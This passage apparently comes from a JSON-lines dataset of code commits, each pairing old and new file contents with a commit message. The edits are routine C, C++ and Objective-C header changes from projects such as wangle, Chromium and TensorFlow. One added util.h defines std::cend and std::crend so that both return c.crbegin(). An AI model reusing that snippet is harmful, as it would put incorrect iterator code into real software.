f,nqv\/mupdf,knielsen\/mupdf,derek-watson\/mupdf,samturneruk\/mupdf_secure_android,asbloomf\/mupdf,knielsen\/mupdf,ziel\/mupdf,samturneruk\/mupdf_secure_android,wild0\/opened_mupdf,isavin\/humblepdf,Kalp695\/mupdf,muennich\/mupdf,tribals\/mupdf,github201407\/MuPDF,nqv\/mupdf,muennich\/mupdf,knielsen\/mupdf,cgogolin\/penandpdf,wild0\/opened_mupdf,FabriceSalvaire\/mupdf-cmake,Kalp695\/mupdf,nqv\/mupdf,xiangxw\/mupdf,tribals\/mupdf,hackqiang\/mupdf,wzhsunn\/mupdf,tribals\/mupdf,fluks\/mupdf-x11-bookmarks,Kalp695\/mupdf,ccxvii\/mupdf,zeniko\/mupdf,clchiou\/mupdf,samturneruk\/mupdf_secure_android,xiangxw\/mupdf,TamirEvan\/mupdf,MokiMobility\/muPDF,tophyr\/mupdf,FabriceSalvaire\/mupdf-cmake,fluks\/mupdf-x11-bookmarks,PuzzleFlow\/mupdf,lustersir\/MuPDF,isavin\/humblepdf,geetakaur\/NewApps,robamler\/mupdf-nacl,poor-grad-student\/mupdf,fluks\/mupdf-x11-bookmarks,flipstudio\/MuPDF,geetakaur\/NewApps,seagullua\/MuPDF,github201407\/MuPDF,sebras\/mupdf,ArtifexSoftware\/mupdf,flipstudio\/MuPDF,hxx0215\/MuPDFMirror,isavin\/humblepdf,loungeup\/mupdf,clchiou\/mupdf,ccxvii\/mupdf,issuestand\/mupdf,knielsen\/mupdf,tribals\/mupdf,github201407\/MuPDF,kobolabs\/mupdf,benoit-pierre\/mupdf,ArtifexSoftware\/mupdf,michaelcadilhac\/pdfannot,FabriceSalvaire\/mupdf-v1.3,wzhsunn\/mupdf,hxx0215\/MuPDFMirror,xiangxw\/mupdf,lamemate\/mupdf,flipstudio\/MuPDF,tophyr\/mupdf,nqv\/mupdf,sebras\/mupdf,MokiMobility\/muPDF,clchiou\/mupdf,loungeup\/mupdf,PuzzleFlow\/mupdf,crow-misia\/mupdf,derek-watson\/mupdf,PuzzleFlow\/mupdf,crow-misia\/mupdf,ylixir\/mupdf,hackqiang\/mupdf,lustersir\/MuPDF,ziel\/mupdf,fluks\/mupdf-x11-bookmarks,hxx0215\/MuPDFMirror,muennich\/mupdf,FabriceSalvaire\/mupdf-v1.3,ylixir\/mupdf,sebras\/mupdf,derek-watson\/mupdf,ylixir\/mupdf,isavin\/humblepdf,FabriceSalvaire\/mupdf-v1.3,asbloomf\/mupdf,ccxvii\/mupdf,fluks\/mupdf-x11-bookmarks,lolo32\/mupdf-mirror,lolo32\/mupdf-mirror,cgogolin\/penandpdf,wild0\/opened_mupdf,benoit-pierre\/mupdf,poor-grad-student\/mupdf,fluks\/mupdf-x11-bookmarks,FabriceSalvaire\/mupdf-v1.3,lustersir\/MuPDF,MokiMobility\/muPDF,flipstudio\/MuPDF,hackqiang\/mupdf,cgogolin\/penandpdf,issuestand\/mupdf,lamemate\/mupdf,geetakaur\/NewApps,FabriceSalvaire\/mupdf-cmake,lamemate\/mupdf,hjiayz\/forkmupdf,clchiou\/mupdf,hxx0215\/MuPDFMirror,knielsen\/mupdf,lolo32\/mupdf-mirror,github201407\/MuPDF,seagullua\/MuPDF,issuestand\/mupdf,ziel\/mupdf,MokiMobility\/muPDF,geetakaur\/NewApps,hjiayz\/forkmupdf,hjiayz\/forkmupdf,ccxvii\/mupdf,muennich\/mupdf,michaelcadilhac\/pdfannot,lamemate\/mupdf,ArtifexSoftware\/mupdf,wzhsunn\/mupdf,FabriceSalvaire\/mupdf-cmake,xiangxw\/mupdf,TamirEvan\/mupdf,ccxvii\/mupdf,cgogolin\/penandpdf,kobolabs\/mupdf,samturneruk\/mupdf_secure_android,tophyr\/mupdf,loungeup\/mupdf,sebras\/mupdf,hackqiang\/mupdf,geetakaur\/NewApps,crow-misia\/mupdf"}
{"commit":"4903f961a88751e684f703aaf08511cd5c486a84","old_file":"wangle\/concurrent\/FiberIOExecutor.h","new_file":"wangle\/concurrent\/FiberIOExecutor.h","old_contents":"\/*\n *  Copyright (c) 2016, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n\n#pragma once\n\n#include <folly\/experimental\/fibers\/FiberManagerMap.h>\n#include <wangle\/concurrent\/IOExecutor.h>\n\nnamespace wangle {\n\n\/**\n * @class FiberIOExecutor\n * @brief An IOExecutor that executes funcs under mapped fiber context\n *\n * A FiberIOExecutor wraps an IOExecutor, but executes funcs on the FiberManager\n * mapped to the underlying IOExector's event base.\n *\/\nclass FiberIOExecutor : public IOExecutor {\n public:\n  explicit FiberIOExecutor(\n      const std::shared_ptr<IOExecutor>& ioExecutor)\n      : ioExecutor_(ioExecutor) {}\n\n  virtual void add(std::function<void()> f) override {\n    auto eventBase = ioExecutor_->getEventBase();\n    getFiberManager(*eventBase).add(std::move(f));\n  }\n\n  virtual EventBase* getEventBase() override {\n    return ioExecutor_->getEventBase();\n  }\n\n private:\n  std::shared_ptr<IOExecutor> ioExecutor_;\n};\n\n} \/\/ namespace wangle\n","new_contents":"\/*\n *  Copyright (c) 2016, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n\n#pragma once\n\n#include <folly\/fibers\/FiberManagerMap.h>\n#include <wangle\/concurrent\/IOExecutor.h>\n\nnamespace wangle {\n\n\/**\n * @class FiberIOExecutor\n * @brief An IOExecutor that executes funcs under mapped fiber context\n *\n * A FiberIOExecutor wraps an IOExecutor, but executes funcs on the FiberManager\n * mapped to the underlying IOExector's event base.\n *\/\nclass FiberIOExecutor : public IOExecutor {\n public:\n  explicit FiberIOExecutor(\n      const std::shared_ptr<IOExecutor>& ioExecutor)\n      : ioExecutor_(ioExecutor) {}\n\n  virtual void add(std::function<void()> f) override {\n    auto eventBase = ioExecutor_->getEventBase();\n    getFiberManager(*eventBase).add(std::move(f));\n  }\n\n  virtual EventBase* getEventBase() override {\n    return ioExecutor_->getEventBase();\n  }\n\n private:\n  std::shared_ptr<IOExecutor> ioExecutor_;\n};\n\n} \/\/ namespace wangle\n","subject":"Move fibers out of experimental","message":"Move fibers out of experimental\n\nSummary: folly::fibers have been used by mcrouter for more than 2 years, so not really experimental.\n\nReviewed By: pavlo-fb\n\nDifferential Revision: D3320595\n\nfbshipit-source-id: 68188f92b71a4206d57222993848521ca5437ef5\n","lang":"C","license":"apache-2.0","repos":"facebook\/wangle,facebook\/wangle,facebook\/wangle"}
{"commit":"290c4c88ae6bf7ff5b9f89632f374017a8189e57","old_file":"include\/JSON_checker.h","new_file":"include\/JSON_checker.h","old_contents":"\/* JSON_checker.h *\/\n\n#ifdef JSON_checker_EXPORTS\n\n#if defined (__SUNPRO_C) && (__SUNPRO_C >= 0x550)\n#define JSON_CHECKER_PUBLIC_API __global\n#elif defined __GNUC__\n#define JSON_CHECKER_PUBLIC_API __attribute__ ((visibility(\"default\")))\n#elif defined(_MSC_VER)\n#define JSON_CHECKER_PUBLIC_API __declspec(dllexport)\n#else\n\/* unknown compiler *\/\n#define JSON_CHECKER_PUBLIC_API\n#endif\n\n#else\n\n#if defined(_MSC_VER)\n#define JSON_CHECKER_PUBLIC_API __declspec(dllimport)\n#else\n#define JSON_CHECKER_PUBLIC_API\n#endif\n\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nJSON_CHECKER_PUBLIC_API\nint checkUTF8JSON(const unsigned char* data, size_t size);\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"\/* JSON_checker.h *\/\n\n#pragma once\n\n#ifdef JSON_checker_EXPORTS\n\n#if defined (__SUNPRO_C) && (__SUNPRO_C >= 0x550)\n#define JSON_CHECKER_PUBLIC_API __global\n#elif defined __GNUC__\n#define JSON_CHECKER_PUBLIC_API __attribute__ ((visibility(\"default\")))\n#elif defined(_MSC_VER)\n#define JSON_CHECKER_PUBLIC_API __declspec(dllexport)\n#else\n\/* unknown compiler *\/\n#define JSON_CHECKER_PUBLIC_API\n#endif\n\n#else\n\n#if defined(_MSC_VER)\n#define JSON_CHECKER_PUBLIC_API __declspec(dllimport)\n#else\n#define JSON_CHECKER_PUBLIC_API\n#endif\n\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nJSON_CHECKER_PUBLIC_API\nint checkUTF8JSON(const unsigned char* data, size_t size);\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Fix 'redundant redeclaration' warning due to missing include guard","message":"Fix 'redundant redeclaration' warning due to missing include guard\n\nChange-Id: Ifa8273d9e95ec4d16e52fec64db2d3ebd50e4e4b\nReviewed-on: http:\/\/review.couchbase.org\/51690\nTested-by: buildbot <80754af91bfb6d1073585b046fe0a474ce868509@couchbase.com>\nReviewed-by: Trond Norbye <60edd2ef23891a753f231b0c6f161dc634079a93@gmail.com>\n","lang":"C","license":"apache-2.0","repos":"vmx\/platform,vmx\/platform"}
{"commit":"e17efd0f000b06be56c1608e783e0718c8419076","old_file":"Hauth\/HauthStreamsController.h","new_file":"Hauth\/HauthStreamsController.h","old_contents":"\/\/\n\/\/  HauteStreamsController.h\n\/\/  Hauth\n\/\/\n\/\/  Created by Rizwan Sattar on 11\/7\/15.\n\/\/  Copyright © 2015 Rizwan Sattar. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface HauthStreamsController : NSObject\n\n@property (strong, nonatomic, nullable) NSInputStream *inputStream;\n@property (strong, nonatomic, nullable) NSOutputStream *outputStream;\n@property (assign, nonatomic) NSUInteger streamOpenCount;\n\n- (void)openStreams;\n- (void)closeStreams;\n\n- (void)sendData:(nonnull NSData *)data;\n- (void)handleReceivedData:(nonnull NSData *)data;\n\n- (void)handleStreamEnd:(NSStream *)stream;\n\n@end\n","new_contents":"\/\/\n\/\/  HauteStreamsController.h\n\/\/  Hauth\n\/\/\n\/\/  Created by Rizwan Sattar on 11\/7\/15.\n\/\/  Copyright © 2015 Rizwan Sattar. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface HauthStreamsController : NSObject\n\n@property (strong, nonatomic, nullable) NSInputStream *inputStream;\n@property (strong, nonatomic, nullable) NSOutputStream *outputStream;\n@property (assign, nonatomic) NSUInteger streamOpenCount;\n\n- (void)openStreams;\n- (void)closeStreams;\n\n- (void)sendData:(nonnull NSData *)data;\n- (void)handleReceivedData:(nonnull NSData *)data;\n\n- (void)handleStreamEnd:(nonnull NSStream *)stream;\n\n@end\n","subject":"Fix warning for a missing nonnull","message":"Fix warning for a missing nonnull\n","lang":"C","license":"mit","repos":"rsattar\/Voucher,rsattar\/Voucher,almas73\/Voucher,almas73\/Voucher"}
{"commit":"d10cb7ab26c297e650fdf74714f648caaeb37035","old_file":"src\/util.h","new_file":"src\/util.h","old_contents":"","new_contents":"#pragma once\n\nnamespace std {\ntemplate <typename T> auto cbegin(const T &c) { return c.cbegin(); }\ntemplate <typename T> auto crbegin(const T &c) { return c.crbegin(); }\ntemplate <typename T> auto cend(const T &c) { return c.crbegin(); }\ntemplate <typename T> auto crend(const T &c) { return c.crbegin(); }\n}\n\n","subject":"Add {c|r}{begin|end} since gcc doesnt know it.","message":"Add {c|r}{begin|end} since gcc doesnt know it.\n","lang":"C","license":"bsd-3-clause","repos":"hannesweisbach\/channelcoding"}
{"commit":"95bc604b9b54258e3ea6d0bed280a4a0a1545d35","old_file":"base\/message_pump_uv.h","new_file":"base\/message_pump_uv.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef BASE_MESSAGE_PUMP_UV_H_\n#define BASE_MESSAGE_PUMP_UV_H_\n#pragma once\n\n#include \"base\/message_pump.h\"\n#include \"base\/time.h\"\n#include \"base\/base_export.h\"\n#include \"third_party\/libuv\/include\/uv.h\"\n\nnamespace base {\n\nclass BASE_EXPORT MessagePumpUV : public MessagePump {\n public:\n  MessagePumpUV();\n  virtual ~MessagePumpUV();\n\n  \/\/ MessagePump methods:\n  virtual void Run(Delegate* delegate) OVERRIDE;\n  virtual void Quit() OVERRIDE;\n  virtual void ScheduleWork() OVERRIDE;\n  virtual void ScheduleDelayedWork(const TimeTicks& delayed_work_time) OVERRIDE;\n\n private:\n  \/\/ This flag is set to false when Run should return.\n  bool keep_running_;\n\n  struct uv_async_s wakeup_event_;\n\n  TimeTicks delayed_work_time_;\n\n  DISALLOW_COPY_AND_ASSIGN(MessagePumpUV);\n};\n\n}  \/\/ namespace base\n\n#endif  \/\/ BASE_MESSAGE_PUMP_UV_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef BASE_MESSAGE_PUMP_UV_H_\n#define BASE_MESSAGE_PUMP_UV_H_\n#pragma once\n\n#include \"base\/message_pump.h\"\n#include \"base\/time.h\"\n#include \"base\/base_export.h\"\n#include \"third_party\/libuv\/include\/uv.h\"\n\nnamespace base {\n\nclass BASE_EXPORT MessagePumpUV : public MessagePump {\n public:\n  MessagePumpUV();\n\n  \/\/ MessagePump methods:\n  virtual void Run(Delegate* delegate) OVERRIDE;\n  virtual void Quit() OVERRIDE;\n  virtual void ScheduleWork() OVERRIDE;\n  virtual void ScheduleDelayedWork(const TimeTicks& delayed_work_time) OVERRIDE;\n\n private:\n  virtual ~MessagePumpUV();\n\n  \/\/ This flag is set to false when Run should return.\n  bool keep_running_;\n\n  struct uv_async_s wakeup_event_;\n\n  TimeTicks delayed_work_time_;\n\n  DISALLOW_COPY_AND_ASSIGN(MessagePumpUV);\n};\n\n}  \/\/ namespace base\n\n#endif  \/\/ BASE_MESSAGE_PUMP_UV_H_\n","subject":"Put destructor to private according to chromium style","message":"Put destructor to private according to chromium style\n","lang":"C","license":"bsd-3-clause","repos":"littlstar\/chromium.src,ondra-novak\/chromium.src,littlstar\/chromium.src,littlstar\/chromium.src,littlstar\/chromium.src,patrickm\/chromium.src,ondra-novak\/chromium.src,ondra-novak\/chromium.src,patrickm\/chromium.src,patrickm\/chromium.src,littlstar\/chromium.src,ondra-novak\/chromium.src,ondra-novak\/chromium.src,patrickm\/chromium.src,ondra-novak\/chromium.src,ondra-novak\/chromium.src,patrickm\/chromium.src,patrickm\/chromium.src,patrickm\/chromium.src,patrickm\/chromium.src,littlstar\/chromium.src,ondra-novak\/chromium.src,littlstar\/chromium.src,ondra-novak\/chromium.src,patrickm\/chromium.src,littlstar\/chromium.src"}
{"commit":"0792fc5f0e66031338143ee8ed46a91907b37f81","old_file":"PHPHub\/Constants\/APIConstant.h","new_file":"PHPHub\/Constants\/APIConstant.h","old_contents":"\/\/\n\/\/  APIConstant.h\n\/\/  PHPHub\n\/\/\n\/\/  Created by Aufree on 9\/30\/15.\n\/\/  Copyright (c) 2015 ESTGroup. All rights reserved.\n\/\/\n\n#define APIAccessTokenURL [NSString stringWithFormat:@\"%@%@\", APIBaseURL, @\"\/oauth\/access_token\"]\n#define QiniuUploadTokenIdentifier @\"QiniuUploadTokenIdentifier\"\n\n#if DEBUG\n#define APIBaseURL      @\"https:\/\/staging_api.phphub.org\"\n#else\n#define APIBaseURL      @\"https:\/\/api.phphub.org\"\n#endif\n\n#define PHPHubHost      @\"phphub.org\"\n#define PHPHubUrl       @\"https:\/\/phphub.org\/\"\n#define GitHubURL       @\"https:\/\/github.com\/\"\n#define TwitterURL      @\"https:\/\/twitter.com\/\"\n#define ProjectURL      @\"https:\/\/github.com\/phphub\/phphub-ios\"\n#define AboutPageURL    @\"https:\/\/phphub.org\/about\"\n#define ESTGroupURL     @\"http:\/\/est-group.org\"\n#define PHPHubGuide     @\"https:\/\/phphub.org\/helps\/qr-login-guide\"\n#define PHPHubTopicURL  @\"https:\/\/phphub.org\/topics\/\"\n#define SinaRedirectURL @\"http:\/\/sns.whalecloud.com\/sina2\/callback\"","new_contents":"\/\/\n\/\/  APIConstant.h\n\/\/  PHPHub\n\/\/\n\/\/  Created by Aufree on 9\/30\/15.\n\/\/  Copyright (c) 2015 ESTGroup. All rights reserved.\n\/\/\n\n#define APIAccessTokenURL [NSString stringWithFormat:@\"%@%@\", APIBaseURL, @\"\/oauth\/access_token\"]\n#define QiniuUploadTokenIdentifier @\"QiniuUploadTokenIdentifier\"\n\n#if DEBUG\n#define APIBaseURL      @\"https:\/\/staging_api.phphub.org\"\n#else\n#define APIBaseURL      @\"https:\/\/api.phphub.org\"\n#endif\n\n#define PHPHubHost      @\"phphub.org\"\n#define PHPHubUrl       @\"https:\/\/phphub.org\/\"\n#define GitHubURL       @\"https:\/\/github.com\/\"\n#define TwitterURL      @\"https:\/\/twitter.com\/\"\n#define ProjectURL      @\"https:\/\/github.com\/phphub\/phphub-ios\"\n#define AboutPageURL    @\"https:\/\/phphub.org\/about\"\n#define ESTGroupURL     @\"http:\/\/est-group.org\"\n#define PHPHubGuide     @\"http:\/\/7xnqwn.com1.z0.glb.clouddn.com\/index.html\"\n#define PHPHubTopicURL  @\"https:\/\/phphub.org\/topics\/\"\n#define SinaRedirectURL @\"http:\/\/sns.whalecloud.com\/sina2\/callback\"","subject":"Change scan to login guide url","message":"Change scan to login guide url\n","lang":"C","license":"mit","repos":"Aufree\/phphub-ios"}
{"commit":"a1acae4dc417e3f138a4a924754f376fffed9ef0","old_file":"src\/core\/mutex.h","new_file":"src\/core\/mutex.h","old_contents":"\/**\n * Mutex management astraction layer\n *\/\n#ifndef EPYX_MUTEX_H\n#define EPYX_MUTEX_H\n\n#include <pthread.h>\n#include \"exception.h\"\n\nnamespace Epyx\n{\n    class Mutex\n    {\n    private:\n        pthread_mutex_t mutex;\n\n    public:\n        inline Mutex ()\n        {\n            int status = pthread_mutex_init (&(this->mutex), NULL);\n            if (status)\n                throw FailException(\"Mutex\", \"pthread_mutex init error\");\n        }\n\n        inline ~Mutex ()\n        {\n            int status = pthread_mutex_destroy (&(this->mutex));\n            if (status)\n                throw FailException(\"Mutex\", \"pthread_mutex destroy error\");\n        }\n\n        inline void lock ()\n        {\n            int status = pthread_mutex_lock (&(this->mutex));\n            if (status)\n                throw FailException(\"Mutex\", \"pthread_mutex lock error\");\n        }\n\n        inline void unlock ()\n        {\n            int status = pthread_mutex_unlock (&(this->mutex));\n            if (status)\n                throw FailException(\"Mutex\", \"pthread_mutex unlock error\");\n        }\n    };\n}\n\n#endif \/* EPYX_THREAD_H *\/\n","new_contents":"\/**\n * Mutex management astraction layer\n *\/\n#ifndef EPYX_MUTEX_H\n#define EPYX_MUTEX_H\n\n#include <pthread.h>\n#include \"exception.h\"\n\nnamespace Epyx\n{\n    class Mutex\n    {\n    private:\n        pthread_mutex_t mutex;\n\n        \/\/ Disable copy construction and assignment.\n        Mutex (const Mutex&);\n        const Mutex &operator = (const Mutex&);\n\n    public:\n        inline Mutex ()\n        {\n            int status = pthread_mutex_init (&(this->mutex), NULL);\n            if (status)\n                throw FailException(\"Mutex\", \"pthread_mutex init error\");\n        }\n\n        inline ~Mutex ()\n        {\n            int status = pthread_mutex_destroy (&(this->mutex));\n            if (status)\n                throw FailException(\"Mutex\", \"pthread_mutex destroy error\");\n        }\n\n        inline void lock ()\n        {\n            int status = pthread_mutex_lock (&(this->mutex));\n            if (status)\n                throw FailException(\"Mutex\", \"pthread_mutex lock error\");\n        }\n\n        inline void unlock ()\n        {\n            int status = pthread_mutex_unlock (&(this->mutex));\n            if (status)\n                throw FailException(\"Mutex\", \"pthread_mutex unlock error\");\n        }\n    };\n}\n\n#endif \/* EPYX_THREAD_H *\/\n","subject":"Disable copy on Mutex objects","message":"Disable copy on Mutex objects\n","lang":"C","license":"apache-2.0","repos":"Kangz\/epyx,Kangz\/epyx"}
{"commit":"fb96a6bf54b67cf147fc1e8b95721be69b031a3c","old_file":"Future\/toImplement\/macroClassInfo.c","new_file":"Future\/toImplement\/macroClassInfo.c","old_contents":"#define GET_CLASS_INFO_EXTENDS(extends, ...)    \\\n    extends\n\n#define GET_CLASS_INFO_IMPLEMENTS(x, y, implements...)   \\\n    implements\n\n#define GET_CLASS_INFO_NB_IMPLEMENTS(x, nb, ...)        \\\n    nb\n\n#define GET_CLASS_INFO(what, extends, nbInter, interfaces...)       \\\n    GET_CLASS_INFO_ ## what(extends, nbInter, ##interfaces)\n\n#define CLASS_INFO_String(what)                 \\\n    GET_CLASS_INFO(what, Object, 1, toString)\n\n#define CLASS_INFO(name, what)                  \\\n    CLASS_INFO_ ## name(what)\n\nCLASS_INFO(String, EXTENDS)\nCLASS_INFO(String, IMPLEMENTS)\nCLASS_INFO(String, NB_IMPLEMENTS)\n","new_contents":"#define GET_CLASS_INFO_EXTENDS(extends, ...)    \\\n    extends\n\n#define GET_CLASS_INFO_IMPLEMENTS(x, y, implements...)   \\\n    implements\n\n#define GET_CLASS_INFO_NB_IMPLEMENTS(x, nb, ...)        \\\n    nb\n\n#define CLASS_INFO_String(what)                 \\\n    GET_CLASS_INFO_ ## what(Object, 2, toString, Serializable)\n\n#define CLASS_INFO(name, what)                  \\\n    CLASS_INFO_ ## name(what)\n\nCLASS_INFO(String, EXTENDS)\nCLASS_INFO(String, NB_IMPLEMENTS)\nCLASS_INFO(String, IMPLEMENTS)\n","subject":"Improve new file in future","message":"Improve new file in future\n","lang":"C","license":"mit","repos":"DaemonSnake\/ObjectC,swac31\/ObjectC,DaemonSnake\/ObjectC,DaemonSnake\/ObjectC,swac31\/ObjectC,swac31\/ObjectC"}
{"commit":"8be3b4631892e10b18d0a4cc8cad6099c1f6803b","old_file":"tensorflow\/core\/platform\/regexp.h","new_file":"tensorflow\/core\/platform\/regexp.h","old_contents":"\/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_PLATFORM_REGEXP_H_\n#define TENSORFLOW_PLATFORM_REGEXP_H_\n\n#include \"tensorflow\/core\/platform\/platform.h\"\n#include \"tensorflow\/core\/platform\/types.h\"\n\n#if defined(PLATFORM_GOOGLE) || defined(PLATFORM_GOOGLE_ANDROID) || \\\n    defined(GOOGLE_RE2)\n#include \"tensorflow\/core\/platform\/google\/build_config\/re2.h\"\nnamespace tensorflow {\ntypedef ::StringPiece RegexpStringPiece;\n}  \/\/ namespace tensorflow\n\n#else\n\n#include \"re2\/re2.h\"\nnamespace tensorflow {\ntypedef re2::StringPiece RegexpStringPiece;\n}  \/\/ namespace tensorflow\n\n#endif\n\n#endif  \/\/ TENSORFLOW_PLATFORM_REGEXP_H_\n","new_contents":"\/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_PLATFORM_REGEXP_H_\n#define TENSORFLOW_PLATFORM_REGEXP_H_\n\n#include \"absl\/strings\/string_view.h\"\n#include \"tensorflow\/core\/platform\/platform.h\"\n#include \"tensorflow\/core\/platform\/types.h\"\n\n#if defined(PLATFORM_GOOGLE) || defined(PLATFORM_GOOGLE_ANDROID) || \\\n    defined(GOOGLE_RE2)\n#include \"tensorflow\/core\/platform\/google\/build_config\/re2.h\"\nnamespace tensorflow {\ntypedef absl::string_view RegexpStringPiece;\n}  \/\/ namespace tensorflow\n\n#else\n\n#include \"re2\/re2.h\"\nnamespace tensorflow {\ntypedef re2::StringPiece RegexpStringPiece;\n}  \/\/ namespace tensorflow\n\n#endif\n\n#endif  \/\/ TENSORFLOW_PLATFORM_REGEXP_H_\n","subject":"Migrate ::StringPiece to absl::string_view. PiperOrigin-RevId: 222828687","message":"Migrate ::StringPiece to absl::string_view.\nPiperOrigin-RevId: 222828687\n","lang":"C","license":"apache-2.0","repos":"aldian\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,apark263\/tensorflow,jendap\/tensorflow,theflofly\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,ppwwyyxx\/tensorflow,apark263\/tensorflow,arborh\/tensorflow,theflofly\/tensorflow,aam-at\/tensorflow,jendap\/tensorflow,freedomtan\/tensorflow,renyi533\/tensorflow,cxxgtxy\/tensorflow,arborh\/tensorflow,frreiss\/tensorflow-fred,petewarden\/tensorflow,chemelnucfin\/tensorflow,gautam1858\/tensorflow,gautam1858\/tensorflow,jendap\/tensorflow,annarev\/tensorflow,gunan\/tensorflow,DavidNorman\/tensorflow,frreiss\/tensorflow-fred,Bismarrck\/tensorflow,tensorflow\/tensorflow,adit-chandra\/tensorflow,karllessard\/tensorflow,Intel-Corporation\/tensorflow,petewarden\/tensorflow,jhseu\/tensorflow,kevin-coder\/tensorflow-fork,petewarden\/tensorflow,Bismarrck\/tensorflow,cxxgtxy\/tensorflow,chemelnucfin\/tensorflow,kevin-coder\/tensorflow-fork,cxxgtxy\/tensorflow,arborh\/tensorflow,alsrgv\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,aldian\/tensorflow,asimshankar\/tensorflow,annarev\/tensorflow,ghchinoy\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,jbedorf\/tensorflow,chemelnucfin\/tensorflow,DavidNorman\/tensorflow,gunan\/tensorflow,ppwwyyxx\/tensorflow,freedomtan\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,asimshankar\/tensorflow,chemelnucfin\/tensorflow,jbedorf\/tensorflow,hfp\/tensorflow-xsmm,asimshankar\/tensorflow,Intel-tensorflow\/tensorflow,davidzchen\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-pywrap_tf_optimizer,apark263\/tensorflow,Intel-tensorflow\/tensorflow,ageron\/tensorflow,renyi533\/tensorflow,adit-chandra\/tensorflow,Intel-tensorflow\/tensorflow,jhseu\/tensorflow,ghchinoy\/tensorflow,xzturn\/tensorflow,kevin-coder\/tensorflow-fork,alsrgv\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,petewarden\/tensorflow,theflofly\/tensorflow,apark263\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,arborh\/tensorflow,jhseu\/tensorflow,paolodedios\/tensorflow,DavidNorman\/tensorflow,freedomtan\/tensorflow,gautam1858\/tensorflow,hfp\/tensorflow-xsmm,aam-at\/tensorflow,sarvex\/tensorflow,sarvex\/tensorflow,jhseu\/tensorflow,theflofly\/tensorflow,aam-at\/tensorflow,paolodedios\/tensorflow,arborh\/tensorflow,paolodedios\/tensorflow,DavidNorman\/tensorflow,asimshankar\/tensorflow,asimshankar\/tensorflow,ageron\/tensorflow,freedomtan\/tensorflow,ghchinoy\/tensorflow,xzturn\/tensorflow,apark263\/tensorflow,karllessard\/tensorflow,jendap\/tensorflow,ageron\/tensorflow,aam-at\/tensorflow,theflofly\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,DavidNorman\/tensorflow,frreiss\/tensorflow-fred,chemelnucfin\/tensorflow,chemelnucfin\/tensorflow,gautam1858\/tensorflow,petewarden\/tensorflow,davidzchen\/tensorflow,adit-chandra\/tensorflow,hfp\/tensorflow-xsmm,petewarden\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,karllessard\/tensorflow,petewarden\/tensorflow,Intel-Corporation\/tensorflow,ghchinoy\/tensorflow,hfp\/tensorflow-xsmm,tensorflow\/tensorflow,jendap\/tensorflow,theflofly\/tensorflow,gunan\/tensorflow,jbedorf\/tensorflow,kevin-coder\/tensorflow-fork,ppwwyyxx\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,paolodedios\/tensorflow,apark263\/tensorflow,asimshankar\/tensorflow,renyi533\/tensorflow,jbedorf\/tensorflow,Intel-Corporation\/tensorflow,kevin-coder\/tensorflow-fork,Bismarrck\/tensorflow,ppwwyyxx\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,sarvex\/tensorflow,sarvex\/tensorflow,apark263\/tensorflow,asimshankar\/tensorflow,DavidNorman\/tensorflow,aldian\/tensorflow,xzturn\/tensorflow,jhseu\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,gunan\/tensorflow,ageron\/tensorflow,aam-at\/tensorflow,annarev\/tensorflow,renyi533\/tensorflow,freedomtan\/tensorflow,xzturn\/tensorflow,ghchinoy\/tensorflow,aldian\/tensorflow,ageron\/tensorflow,karllessard\/tensorflow,renyi533\/tensorflow,xzturn\/tensorflow,adit-chandra\/tensorflow,davidzchen\/tensorflow,jbedorf\/tensorflow,freedomtan\/tensorflow,sarvex\/tensorflow,Intel-tensorflow\/tensorflow,aam-at\/tensorflow,gautam1858\/tensorflow,gunan\/tensorf